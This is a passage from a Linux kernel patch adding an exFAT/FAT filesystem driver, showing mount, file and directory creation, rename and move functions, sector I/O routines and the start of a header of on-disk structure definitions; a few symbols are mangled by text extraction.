&(EXFAT_SB(sb)->bd_info); + + if (p_bpb->num_fats == 0) + return FFS_FORMATERR; + + p_fs->sectors_per_clu = p_bpb->sectors_per_clu; + p_fs->sectors_per_clu_bits = ilog2(p_bpb->sectors_per_clu); + p_fs->cluster_size_bits = p_fs->sectors_per_clu_bits + p_bd->sector_size_bits; + p_fs->cluster_size = 1 << p_fs->cluster_size_bits; + + p_fs->num_FAT_sectors = GET32(p_bpb->num_fat32_sectors); + + p_fs->FAT1_start_sector = p_fs->PBR_sector + GET16(p_bpb->num_reserved); + if (p_bpb->num_fats == 1) + p_fs->FAT2_start_sector = p_fs->FAT1_start_sector; + else + p_fs->FAT2_start_sector = p_fs->FAT1_start_sector + p_fs->num_FAT_sectors; + + p_fs->root_start_sector = p_fs->FAT2_start_sector + p_fs->num_FAT_sectors; + p_fs->data_start_sector = p_fs->root_start_sector; + + p_fs->num_sectors = GET32(p_bpb->num_huge_sectors); + num_reserved = p_fs->data_start_sector - p_fs->PBR_sector; + + p_fs->num_clusters = ((p_fs->num_sectors-num_reserved) >> p_fs->sectors_per_clu_bits) + 2; + /* because the cluster index starts with 2 */ + + p_fs->vol_type = FAT32; + p_fs->vol_id = GET32(p_bpb->vol_serial); + + p_fs->root_dir = GET32(p_bpb->root_cluster); + p_fs->dentries_in_root = 0; + p_fs->dentries_per_clu = 1 << (p_fs->cluster_size_bits - DENTRY_SIZE_BITS); + + p_fs->vol_flag = VOL_CLEAN; + p_fs->clu_srch_ptr = 2; + p_fs->used_clusters = (u32) ~0; + + p_fs->fs_func = &fat_fs_func; + + return FFS_SUCCESS; +} /* end of fat32_mount */ + +static FS_FUNC_T exfat_fs_func = { + .alloc_cluster = exfat_alloc_cluster, + .free_cluster = exfat_free_cluster, + .count_used_clusters = exfat_count_used_clusters, + + .init_dir_entry = exfat_init_dir_entry, + .init_ext_entry = exfat_init_ext_entry, + .find_dir_entry = exfat_find_dir_entry, + .delete_dir_entry = exfat_delete_dir_entry, + .get_uni_name_from_ext_entry = exfat_get_uni_name_from_ext_entry, + .count_ext_entries = exfat_count_ext_entries, + .calc_num_entries = exfat_calc_num_entries, + + .get_entry_type = exfat_get_entry_type, + .set_entry_type = exfat_set_entry_type, + .get_entry_attr = exfat_get_entry_attr, + .set_entry_attr = exfat_set_entry_attr, + .get_entry_flag = exfat_get_entry_flag, + .set_entry_flag = exfat_set_entry_flag, + .get_entry_clu0 = exfat_get_entry_clu0, + .set_entry_clu0 = exfat_set_entry_clu0, + .get_entry_size = exfat_get_entry_size, + .set_entry_size = exfat_set_entry_size, + .get_entry_time = exfat_get_entry_time, + .set_entry_time = exfat_set_entry_time, +}; + +s32 exfat_mount(struct super_block *sb, PBR_SECTOR_T *p_pbr) +{ + BPBEX_T *p_bpb = (BPBEX_T *) p_pbr->bpb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (p_bpb->num_fats == 0) + return FFS_FORMATERR; + + p_fs->sectors_per_clu = 1 << p_bpb->sectors_per_clu_bits; + p_fs->sectors_per_clu_bits = p_bpb->sectors_per_clu_bits; + p_fs->cluster_size_bits = p_fs->sectors_per_clu_bits + p_bd->sector_size_bits; + p_fs->cluster_size = 1 << p_fs->cluster_size_bits; + + p_fs->num_FAT_sectors = GET32(p_bpb->fat_length); + + p_fs->FAT1_start_sector = p_fs->PBR_sector + GET32(p_bpb->fat_offset); + if (p_bpb->num_fats == 1) + p_fs->FAT2_start_sector = p_fs->FAT1_start_sector; + else + p_fs->FAT2_start_sector = p_fs->FAT1_start_sector + p_fs->num_FAT_sectors; + + p_fs->root_start_sector = p_fs->PBR_sector + GET32(p_bpb->clu_offset); + p_fs->data_start_sector = p_fs->root_start_sector; + + p_fs->num_sectors = GET64(p_bpb->vol_length); + p_fs->num_clusters = GET32(p_bpb->clu_count) + 2; + /* because the cluster index starts with 2 */ + + p_fs->vol_type = EXFAT; + p_fs->vol_id = GET32(p_bpb->vol_serial); + + p_fs->root_dir = GET32(p_bpb->root_cluster); + p_fs->dentries_in_root = 0; + p_fs->dentries_per_clu = 1 << (p_fs->cluster_size_bits - DENTRY_SIZE_BITS); + + p_fs->vol_flag = (u32) GET16(p_bpb->vol_flags); + p_fs->clu_srch_ptr = 2; + p_fs->used_clusters = (u32) ~0; + + p_fs->fs_func = &exfat_fs_func; + + return FFS_SUCCESS; +} /* end of exfat_mount */ + +s32 create_dir(struct inode *inode, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, FILE_ID_T *fid) +{ + s32 ret, dentry, num_entries; + u64 size; + CHAIN_T clu; + DOS_NAME_T dos_name, dot_name; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + ret = get_num_entries_and_dos_name(sb, p_dir, p_uniname, &num_entries, &dos_name); + if (ret) + return ret; + + /* find_empty_entry must be called before alloc_cluster */ + dentry = find_empty_entry(inode, p_dir, num_entries); + if (dentry < 0) + return FFS_FULL; + + clu.dir = CLUSTER_32(~0); + clu.size = 0; + clu.flags = (p_fs->vol_type == EXFAT) ? 0x03 : 0x01; + + /* (1) allocate a cluster */ + ret = p_fs->fs_func->alloc_cluster(sb, 1, &clu); + if (ret < 0) + return FFS_MEDIAERR; + else if (ret == 0) + return FFS_FULL; + + ret = clear_cluster(sb, clu.dir); + if (ret != FFS_SUCCESS) + return ret; + + if (p_fs->vol_type == EXFAT) { + size = p_fs->cluster_size; + } else { + size = 0; + + /* initialize the . and .. entry + Information for . points to itself + Information for .. points to parent dir */ + + dot_name.name_case = 0x0; + memcpy(dot_name.name, DOS_CUR_DIR_NAME, DOS_NAME_LENGTH); + + ret = p_fs->fs_func->init_dir_entry(sb, &clu, 0, TYPE_DIR, clu.dir, 0); + if (ret != FFS_SUCCESS) + return ret; + + ret = p_fs->fs_func->init_ext_entry(sb, &clu, 0, 1, NULL, &dot_name); + if (ret != FFS_SUCCESS) + return ret; + + memcpy(dot_name.name, DOS_PAR_DIR_NAME, DOS_NAME_LENGTH); + + if (p_dir->dir == p_fs->root_dir) + ret = p_fs->fs_func->init_dir_entry(sb, &clu, 1, TYPE_DIR, CLUSTER_32(0), 0); + else + ret = p_fs->fs_func->init_dir_entry(sb, &clu, 1, TYPE_DIR, p_dir->dir, 0); + + if (ret != FFS_SUCCESS) + return ret; + + ret = p_fs->fs_func->init_ext_entry(sb, &clu, 1, 1, NULL, &dot_name); + if (ret != FFS_SUCCESS) + return ret; + } + + /* (2) update the directory entry */ + /* make sub-dir entry in parent directory */ + ret = p_fs->fs_func->init_dir_entry(sb, p_dir, dentry, TYPE_DIR, clu.dir, size); + if (ret != FFS_SUCCESS) + return ret; + + ret = p_fs->fs_func->init_ext_entry(sb, p_dir, dentry, num_entries, p_uniname, &dos_name); + if (ret != FFS_SUCCESS) + return ret; + + fid->dir.dir = p_dir->dir; + fid->dir.size = p_dir->size; + fid->dir.flags = p_dir->flags; + fid->entry = dentry; + + fid->attr = ATTR_SUBDIR; + fid->flags = (p_fs->vol_type == EXFAT) ? 0x03 : 0x01; + fid->size = size; + fid->start_clu = clu.dir; + + fid->type = TYPE_DIR; + fid->rwoffset = 0; + fid->hint_last_off = -1; + + return FFS_SUCCESS; +} /* end of create_dir */ + +s32 create_file(struct inode *inode, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, u8 mode, FILE_ID_T *fid) +{ + s32 ret, dentry, num_entries; + DOS_NAME_T dos_name; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + ret = get_num_entries_and_dos_name(sb, p_dir, p_uniname, &num_entries, &dos_name); + if (ret) + return ret; + + /* find_empty_entry must be called before alloc_cluster() */ + dentry = find_empty_entry(inode, p_dir, num_entries); + if (dentry < 0) + return FFS_FULL; + + /* (1) update the directory entry */ + /* fill the dos name directory entry information of the created file. + the first cluster is not determined yet. (0) */ + ret = p_fs->fs_func->init_dir_entry(sb, p_dir, dentry, TYPE_FILE | mode, CLUSTER_32(0), 0); + if (ret != FFS_SUCCESS) + return ret; + + ret = p_fs->fs_func->init_ext_entry(sb, p_dir, dentry, num_entries, p_uniname, &dos_name); + if (ret != FFS_SUCCESS) + return ret; + + fid->dir.dir = p_dir->dir; + fid->dir.size = p_dir->size; + fid->dir.flags = p_dir->flags; + fid->entry = dentry; + + fid->attr = ATTR_ARCHIVE | mode; + fid->flags = (p_fs->vol_type == EXFAT) ? 0x03 : 0x01; + fid->size = 0; + fid->start_clu = CLUSTER_32(~0); + + fid->type = TYPE_FILE; + fid->rwoffset = 0; + fid->hint_last_off = -1; + + return FFS_SUCCESS; +} /* end of create_file */ + +void remove_file(struct inode *inode, CHAIN_T *p_dir, s32 entry) +{ + s32 num_entries; + u32 sector; + DENTRY_T *ep; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + ep = get_entry_in_dir(sb, p_dir, entry, §or); + if (!ep) + return; + + buf_lock(sb, sector); + + /* buf_lock() before call count_ext_entries() */ + num_entries = p_fs->fs_func->count_ext_entries(sb, p_dir, entry, ep); + if (num_entries < 0) { + buf_unlock(sb, sector); + return; + } + num_entries++; + + buf_unlock(sb, sector); + + /* (1) update the directory entry */ + p_fs->fs_func->delete_dir_entry(sb, p_dir, entry, 0, num_entries); +} /* end of remove_file */ + +s32 rename_file(struct inode *inode, CHAIN_T *p_dir, s32 oldentry, UNI_NAME_T *p_uniname, FILE_ID_T *fid) +{ + s32 ret, newentry = -1, num_old_entries, num_new_entries; + u32 sector_old, sector_new; + DOS_NAME_T dos_name; + DENTRY_T *epold, *epnew; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + epold = get_entry_in_dir(sb, p_dir, oldentry, §or_old); + if (!epold) + return FFS_MEDIAERR; + + buf_lock(sb, sector_old); + + /* buf_lock() before call count_ext_entries() */ + num_old_entries = p_fs->fs_func->count_ext_entries(sb, p_dir, oldentry, epold); + if (num_old_entries < 0) { + buf_unlock(sb, sector_old); + return FFS_MEDIAERR; + } + num_old_entries++; + + ret = get_num_entries_and_dos_name(sb, p_dir, p_uniname, &num_new_entries, &dos_name); + if (ret) { + buf_unlock(sb, sector_old); + return ret; + } + + if (num_old_entries < num_new_entries) { + newentry = find_empty_entry(inode, p_dir, num_new_entries); + if (newentry < 0) { + buf_unlock(sb, sector_old); + return FFS_FULL; + } + + epnew = get_entry_in_dir(sb, p_dir, newentry, §or_new); + if (!epnew) { + buf_unlock(sb, sector_old); + return FFS_MEDIAERR; + } + + memcpy((void *) epnew, (void *) epold, DENTRY_SIZE); + if (p_fs->fs_func->get_entry_type(epnew) == TYPE_FILE) { + p_fs->fs_func->set_entry_attr(epnew, p_fs->fs_func->get_entry_attr(epnew) | ATTR_ARCHIVE); + fid->attr |= ATTR_ARCHIVE; + } + buf_modify(sb, sector_new); + buf_unlock(sb, sector_old); + + if (p_fs->vol_type == EXFAT) { + epold = get_entry_in_dir(sb, p_dir, oldentry+1, §or_old); + buf_lock(sb, sector_old); + epnew = get_entry_in_dir(sb, p_dir, newentry+1, §or_new); + + if (!epold || !epnew) { + buf_unlock(sb, sector_old); + return FFS_MEDIAERR; + } + + memcpy((void *) epnew, (void *) epold, DENTRY_SIZE); + buf_modify(sb, sector_new); + buf_unlock(sb, sector_old); + } + + ret = p_fs->fs_func->init_ext_entry(sb, p_dir, newentry, num_new_entries, p_uniname, &dos_name); + if (ret != FFS_SUCCESS) + return ret; + + p_fs->fs_func->delete_dir_entry(sb, p_dir, oldentry, 0, num_old_entries); + fid->entry = newentry; + } else { + if (p_fs->fs_func->get_entry_type(epold) == TYPE_FILE) { + p_fs->fs_func->set_entry_attr(epold, p_fs->fs_func->get_entry_attr(epold) | ATTR_ARCHIVE); + fid->attr |= ATTR_ARCHIVE; + } + buf_modify(sb, sector_old); + buf_unlock(sb, sector_old); + + ret = p_fs->fs_func->init_ext_entry(sb, p_dir, oldentry, num_new_entries, p_uniname, &dos_name); + if (ret != FFS_SUCCESS) + return ret; + + p_fs->fs_func->delete_dir_entry(sb, p_dir, oldentry, num_new_entries, num_old_entries); + } + + return FFS_SUCCESS; +} /* end of rename_file */ + +s32 move_file(struct inode *inode, CHAIN_T *p_olddir, s32 oldentry, CHAIN_T *p_newdir, UNI_NAME_T *p_uniname, FILE_ID_T *fid) +{ + s32 ret, newentry, num_new_entries, num_old_entries; + u32 sector_mov, sector_new; + CHAIN_T clu; + DOS_NAME_T dos_name; + DENTRY_T *epmov, *epnew; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + epmov = get_entry_in_dir(sb, p_olddir, oldentry, §or_mov); + if (!epmov) + return FFS_MEDIAERR; + + /* check if the source and target directory is the same */ + if (p_fs->fs_func->get_entry_type(epmov) == TYPE_DIR && + p_fs->fs_func->get_entry_clu0(epmov) == p_newdir->dir) + return FFS_INVALIDPATH; + + buf_lock(sb, sector_mov); + + /* buf_lock() before call count_ext_entries() */ + num_old_entries = p_fs->fs_func->count_ext_entries(sb, p_olddir, oldentry, epmov); + if (num_old_entries < 0) { + buf_unlock(sb, sector_mov); + return FFS_MEDIAERR; + } + num_old_entries++; + + ret = get_num_entries_and_dos_name(sb, p_newdir, p_uniname, &num_new_entries, &dos_name); + if (ret) { + buf_unlock(sb, sector_mov); + return ret; + } + + newentry = find_empty_entry(inode, p_newdir, num_new_entries); + if (newentry < 0) { + buf_unlock(sb, sector_mov); + return FFS_FULL; + } + + epnew = get_entry_in_dir(sb, p_newdir, newentry, §or_new); + if (!epnew) { + buf_unlock(sb, sector_mov); + return FFS_MEDIAERR; + } + + memcpy((void *) epnew, (void *) epmov, DENTRY_SIZE); + if (p_fs->fs_func->get_entry_type(epnew) == TYPE_FILE) { + p_fs->fs_func->set_entry_attr(epnew, p_fs->fs_func->get_entry_attr(epnew) | ATTR_ARCHIVE); + fid->attr |= ATTR_ARCHIVE; + } + buf_modify(sb, sector_new); + buf_unlock(sb, sector_mov); + + if (p_fs->vol_type == EXFAT) { + epmov = get_entry_in_dir(sb, p_olddir, oldentry+1, §or_mov); + buf_lock(sb, sector_mov); + epnew = get_entry_in_dir(sb, p_newdir, newentry+1, §or_new); + if (!epmov || !epnew) { + buf_unlock(sb, sector_mov); + return FFS_MEDIAERR; + } + + memcpy((void *) epnew, (void *) epmov, DENTRY_SIZE); + buf_modify(sb, sector_new); + buf_unlock(sb, sector_mov); + } else if (p_fs->fs_func->get_entry_type(epnew) == TYPE_DIR) { + /* change ".." pointer to new parent dir */ + clu.dir = p_fs->fs_func->get_entry_clu0(epnew); + clu.flags = 0x01; + + epnew = get_entry_in_dir(sb, &clu, 1, §or_new); + if (!epnew) + return FFS_MEDIAERR; + + if (p_newdir->dir == p_fs->root_dir) + p_fs->fs_func->set_entry_clu0(epnew, CLUSTER_32(0)); + else + p_fs->fs_func->set_entry_clu0(epnew, p_newdir->dir); + buf_modify(sb, sector_new); + } + + ret = p_fs->fs_func->init_ext_entry(sb, p_newdir, newentry, num_new_entries, p_uniname, &dos_name); + if (ret != FFS_SUCCESS) + return ret; + + p_fs->fs_func->delete_dir_entry(sb, p_olddir, oldentry, 0, num_old_entries); + + fid->dir.dir = p_newdir->dir; + fid->dir.size = p_newdir->size; + fid->dir.flags = p_newdir->flags; + + fid->entry = newentry; + + return FFS_SUCCESS; +} /* end of move_file */ + +/* + * Sector Read/Write Functions + */ + +s32 sector_read(struct super_block *sb, u32 sec, struct buffer_head **bh, s32 read) +{ + s32 ret = FFS_MEDIAERR; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if ((sec >= (p_fs->PBR_sector+p_fs->num_sectors)) && (p_fs->num_sectors > 0)) { + printk("[EXFAT] sector_read: out of range error! (sec = %d)\n", sec); + fs_error(sb); + return ret; + } + + if (!p_fs->dev_ejected) { + ret = bdev_read(sb, sec, bh, 1, read); + if (ret != FFS_SUCCESS) + p_fs->dev_ejected = TRUE; + } + + return ret; +} /* end of sector_read */ + +s32 sector_write(struct super_block *sb, u32 sec, struct buffer_head *bh, s32 sync) +{ + s32 ret = FFS_MEDIAERR; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (sec >= (p_fs->PBR_sector+p_fs->num_sectors) && (p_fs->num_sectors > 0)) { + printk("[EXFAT] sector_write: out of range error! (sec = %d)\n", sec); + fs_error(sb); + return ret; + } + + if (bh == NULL) { + printk("[EXFAT] sector_write: bh is NULL!\n"); + fs_error(sb); + return ret; + } + + if (!p_fs->dev_ejected) { + ret = bdev_write(sb, sec, bh, 1, sync); + if (ret != FFS_SUCCESS) + p_fs->dev_ejected = TRUE; + } + + return ret; +} /* end of sector_write */ + +s32 multi_sector_read(struct super_block *sb, u32 sec, struct buffer_head **bh, s32 num_secs, s32 read) +{ + s32 ret = FFS_MEDIAERR; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (((sec+num_secs) > (p_fs->PBR_sector+p_fs->num_sectors)) && (p_fs->num_sectors > 0)) { + printk("[EXFAT] multi_sector_read: out of range error! (sec = %d, num_secs = %d)\n", sec, num_secs); + fs_error(sb); + return ret; + } + + if (!p_fs->dev_ejected) { + ret = bdev_read(sb, sec, bh, num_secs, read); + if (ret != FFS_SUCCESS) + p_fs->dev_ejected = TRUE; + } + + return ret; +} /* end of multi_sector_read */ + +s32 multi_sector_write(struct super_block *sb, u32 sec, struct buffer_head *bh, s32 num_secs, s32 sync) +{ + s32 ret = FFS_MEDIAERR; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if ((sec+num_secs) > (p_fs->PBR_sector+p_fs->num_sectors) && (p_fs->num_sectors > 0)) { + printk("[EXFAT] multi_sector_write: out of range error! (sec = %d, num_secs = %d)\n", sec, num_secs); + fs_error(sb); + return ret; + } + if (bh == NULL) { + printk("[EXFAT] multi_sector_write: bh is NULL!\n"); + fs_error(sb); + return ret; + } + + if (!p_fs->dev_ejected) { + ret = bdev_write(sb, sec, bh, num_secs, sync); + if (ret != FFS_SUCCESS) + p_fs->dev_ejected = TRUE; + } + + return ret; +} /* end of multi_sector_write */ diff --git a/fs/exfat/exfat_core.h b/fs/exfat/exfat_core.h new file mode 100644 index 0000000000000..4bdfe4ecef3fb --- /dev/null +++ b/fs/exfat/exfat_core.h @@ -0,0 +1,671 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_core.h */ +/* PURPOSE : Header File for exFAT File Manager */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_H +#define _EXFAT_H + +#include "exfat_config.h" +#include "exfat_data.h" +#include "exfat_oal.h" + +#include "exfat_blkdev.h" +#include "exfat_cache.h" +#include "exfat_nls.h" +#include "exfat_api.h" +#include "exfat_cache.h" + +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + /* For Debugging Purpose */ + /* IOCTL code 'f' used by + * - file systems typically #0~0x1F + * - embedded terminal devices #128~ + * - exts for debugging purpose #99 + * number 100 and 101 is availble now but has possible conflicts + */ +#define EXFAT_IOC_GET_DEBUGFLAGS _IOR('f', 100, long) +#define EXFAT_IOC_SET_DEBUGFLAGS _IOW('f', 101, long) + +#define EXFAT_DEBUGFLAGS_INVALID_UMOUNT 0x01 +#define EXFAT_DEBUGFLAGS_ERROR_RW 0x02 +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + + /*----------------------------------------------------------------------*/ + /* Constant & Macro Definitions */ + /*----------------------------------------------------------------------*/ + +#define DENTRY_SIZE 32 /* dir entry size */ +#define DENTRY_SIZE_BITS 5 + +/* PBR entries */ +#define PBR_SIGNATURE 0xAA55 +#define EXT_SIGNATURE 0xAA550000 +#define VOL_LABEL "NO NAME " /* size should be 11 */ +#define OEM_NAME "MSWIN4.1" /* size should be 8 */ +#define STR_FAT12 "FAT12 " /* size should be 8 */ +#define STR_FAT16 "FAT16 " /* size should be 8 */ +#define STR_FAT32 "FAT32 " /* size should be 8 */ +#define STR_EXFAT "EXFAT " /* size should be 8 */ +#define VOL_CLEAN 0x0000 +#define VOL_DIRTY 0x0002 + +/* max number of clusters */ +#define FAT12_THRESHOLD 4087 /* 2^12 - 1 + 2 (clu 0 & 1) */ +#define FAT16_THRESHOLD 65527 /* 2^16 - 1 + 2 */ +#define FAT32_THRESHOLD 268435457 /* 2^28 - 1 + 2 */ +#define EXFAT_THRESHOLD 268435457 /* 2^28 - 1 + 2 */ + +/* file types */ +#define TYPE_UNUSED 0x0000 +#define TYPE_DELETED 0x0001 +#define TYPE_INVALID 0x0002 +#define TYPE_CRITICAL_PRI 0x0100 +#define TYPE_BITMAP 0x0101 +#define TYPE_UPCASE 0x0102 +#define TYPE_VOLUME 0x0103 +#define TYPE_DIR 0x0104 +#define TYPE_FILE 0x011F +#define TYPE_SYMLINK 0x015F +#define TYPE_CRITICAL_SEC 0x0200 +#define TYPE_STREAM 0x0201 +#define TYPE_EXTEND 0x0202 +#define TYPE_ACL 0x0203 +#define TYPE_BENIGN_PRI 0x0400 +#define TYPE_GUID 0x0401 +#define TYPE_PADDING 0x0402 +#define TYPE_ACLTAB 0x0403 +#define TYPE_BENIGN_SEC 0x0800 +#define TYPE_ALL 0x0FFF + +/* time modes */ +#define TM_CREATE 0 +#define TM_MODIFY 1 +#define TM_ACCESS 2 + +/* checksum types */ +#define CS_DIR_ENTRY 0 +#define CS_PBR_SECTOR 1 +#define CS_DEFAULT 2 + +#define CLUSTER_16(x) ((u16)(x)) +#define CLUSTER_32(x) ((u32)(x)) + +#define FALSE 0 +#define TRUE 1 + +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +#define START_SECTOR(x) \ + ((((x) - 2) << p_fs->sectors_per_clu_bits) + p_fs->data_start_sector) + +#define IS_LAST_SECTOR_IN_CLUSTER(sec) \ + ((((sec) - p_fs->data_start_sector + 1) & ((1 << p_fs->sectors_per_clu_bits) - 1)) == 0) + +#define GET_CLUSTER_FROM_SECTOR(sec) \ + ((((sec) - p_fs->data_start_sector) >> p_fs->sectors_per_clu_bits) + 2) + +#define GET16(p_src) \ + (((u16)(p_src)[0]) | (((u16)(p_src)[1]) << 8)) +#define GET32(p_src) \ + (((u32)(p_src)[0]) | (((u32)(p_src)[1]) << 8) | \ + (((u32)(p_src)[2]) << 16) | (((u32)(p_src)[3]) << 24)) +#define GET64(p_src) \ + (((u64)(p_src)[0]) | (((u64)(p_src)[1]) << 8) | \ + (((u64)(p_src)[2]) << 16) | (((u64)(p_src)[3]) << 24) | \ + (((u64)(p_src)[4]) << 32) | (((u64)(p_src)[5]) << 40) | \ + (((u64)(p_src)[6]) << 48) | (((u64)(p_src)[7]) << 56)) + + +#define SET16(p_dst, src) \ + do { \ + (p_dst)[0] = (u8)(src); \ + (p_dst)[1] = (u8)(((u16)(src)) >> 8); \ + } while (0) +#define SET32(p_dst, src) \ + do { \ + (p_dst)[0] = (u8)(src); \ + (p_dst)[1] = (u8)(((u32)(src)) >> 8); \ + (p_dst)[2] = (u8)(((u32)(src)) >> 16); \ + (p_dst)[3] = (u8)(((u32)(src)) >> 24); \ + } while (0) +#define SET64(p_dst, src) \ + do { \ + (p_dst)[0] = (u8)(src); \ + (p_dst)[1] = (u8)(((u64)(src)) >> 8); \ + (p_dst)[2] = (u8)(((u64)(src)) >> 16); \ + (p_dst)[3] = (u8)(((u64)(src)) >> 24); \ + (p_dst)[4] = (u8)(((u64)(src)) >> 32); \ + (p_dst)[5] = (u8)(((u64)(src)) >> 40); \ + (p_dst)[6] = (u8)(((u64)(src)) >> 48); \ + (p_dst)[7] = (u8)(((u64)(src)) >> 56); \ + } while (0) + +#ifdef __LITTLE_ENDIAN +#define GET16_A(p_src) (*((u16 *)(p_src))) +#define GET32_A(p_src) (*((u32 *)(p_src))) +#define GET64_A(p_src) (*((u64 *)(p_src))) +#define SET16_A(p_dst, src) (*((u16 *)(p_dst)) = (u16)(src)) +#define SET32_A(p_dst, src) (*((u32 *)(p_dst)) = (u32)(src)) +#define SET64_A(p_dst, src) (*((u64 *)(p_dst)) = (u64)(src)) +#else /* BIG_ENDIAN */ +#define GET16_A(p_src) GET16(p_src) +#define GET32_A(p_src) GET32(p_src) +#define GET64_A(p_src) GET64(p_src) +#define SET16_A(p_dst, src) SET16(p_dst, src) +#define SET32_A(p_dst, src) SET32(p_dst, src) +#define SET64_A(p_dst, src) SET64(p_dst, src) +#endif + +/* Upcase tabel mecro */ +#define HIGH_INDEX_BIT (8) +#define HIGH_INDEX_MASK (0xFF00) +#define LOW_INDEX_BIT (16-HIGH_INDEX_BIT) +#define UTBL_ROW_COUNT (1<> LOW_INDEX_BIT; +} +static inline u16 get_row_index(u16 i) +{ + return i & ~HIGH_INDEX_MASK; +} +/*----------------------------------------------------------------------*/ +/* Type Definitions */ +/*----------------------------------------------------------------------*/ + +/* MS_DOS FAT partition boot record (512 bytes) */ +typedef struct { + u8 jmp_boot[3]; + u8 oem_name[8]; + u8 bpb[109]; + u8 boot_code[390]; + u8 signature[2]; +} PBR_SECTOR_T; + +/* MS-DOS FAT12/16 BIOS parameter block (51 bytes) */ +typedef struct { + u8 sector_size[2]; + u8 sectors_per_clu; + u8 num_reserved[2]; + u8 num_fats; + u8 num_root_entries[2]; + u8 num_sectors[2]; + u8 media_type; + u8 num_fat_sectors[2]; + u8 sectors_in_track[2]; + u8 num_heads[2]; + u8 num_hid_sectors[4]; + u8 num_huge_sectors[4]; + + u8 phy_drv_no; + u8 reserved; + u8 ext_signature; + u8 vol_serial[4]; + u8 vol_label[11]; + u8 vol_type[8]; +} BPB16_T; + +/* MS-DOS FAT32 BIOS parameter block (79 bytes) */ +typedef struct { + u8 sector_size[2]; + u8 sectors_per_clu; + u8 num_reserved[2]; + u8 num_fats; + u8 num_root_entries[2]; + u8 num_sectors[2]; + u8 media_type; + u8 num_fat_sectors[2]; + u8 sectors_in_track[2]; + u8 num_heads[2]; + u8 num_hid_sectors[4]; + u8 num_huge_sectors[4]; + u8 num_fat32_sectors[4]; + u8 ext_flags[2]; + u8 fs_version[2]; + u8 root_cluster[4]; + u8 fsinfo_sector[2]; + u8 backup_sector[2]; + u8 reserved[12]; + + u8 phy_drv_no; + u8 ext_reserved; + u8 ext_signature; + u8 vol_serial[4]; + u8 vol_label[11]; + u8 vol_type[8]; +} BPB32_T; + +/* MS-DOS EXFAT BIOS parameter block (109 bytes) */ +typedef struct { + u8 reserved1[53]; + u8 vol_offset[8]; + u8 vol_length[8]; + u8 fat_offset[4]; + u8 fat_length[4]; + u8 clu_offset[4]; + u8 clu_count[4]; + u8 root_cluster[4]; + u8 vol_serial[4]; + u8 fs_version[2]; + u8 vol_flags[2]; + u8 sector_size_bits; + u8 sectors_per_clu_bits; + u8 num_fats; + u8 phy_drv_no; + u8 perc_in_use; + u8 reserved2[7]; +} BPBEX_T; + +/* MS-DOS FAT file system information sector (512 bytes) */ +typedef struct { + u8 signature1[4]; + u8 reserved1[480]; + u8 signature2[4]; + u8 free_cluster[4]; + u8 next_cluster[4]; + u8 reserved2[14]; + u8 signature3[2]; +} FSI_SECTOR_T; + +/* MS-DOS FAT directory entry (32 bytes) */ +typedef struct { + u8 dummy[32]; +} DENTRY_T; + +typedef struct { + u8 name[DOS_NAME_LENGTH]; + u8 attr; + u8 lcase; + u8 create_time_ms; + u8 create_time[2]; + u8 create_date[2]; + u8 access_date[2]; + u8 start_clu_hi[2]; + u8 modify_time[2]; + u8 modify_date[2]; + u8 start_clu_lo[2]; + u8 size[4]; +} DOS_DENTRY_T; + +/* MS-DOS FAT extended directory entry (32 bytes) */ +typedef struct { + u8 order; + u8 unicode_0_4[10]; + u8 attr; + u8 sysid; + u8 checksum; + u8 unicode_5_10[12]; + u8 start_clu[2]; + u8 unicode_11_12[4]; +} EXT_DENTRY_T; + +/* MS-DOS EXFAT file directory entry (32 bytes) */ +typedef struct { + u8 type; + u8 num_ext; + u8 checksum[2]; + u8 attr[2]; + u8 reserved1[2]; + u8 create_time[2]; + u8 create_date[2]; + u8 modify_time[2]; + u8 modify_date[2]; + u8 access_time[2]; + u8 access_date[2]; + u8 create_time_ms; + u8 modify_time_ms; + u8 access_time_ms; + u8 reserved2[9]; +} FILE_DENTRY_T; + +/* MS-DOS EXFAT stream extension directory entry (32 bytes) */ +typedef struct { + u8 type; + u8 flags; + u8 reserved1; + u8 name_len; + u8 name_hash[2]; + u8 reserved2[2]; + u8 valid_size[8]; + u8 reserved3[4]; + u8 start_clu[4]; + u8 size[8]; +} STRM_DENTRY_T; + +/* MS-DOS EXFAT file name directory entry (32 bytes) */ +typedef struct { + u8 type; + u8 flags; + u8 unicode_0_14[30]; +} NAME_DENTRY_T; + +/* MS-DOS EXFAT allocation bitmap directory entry (32 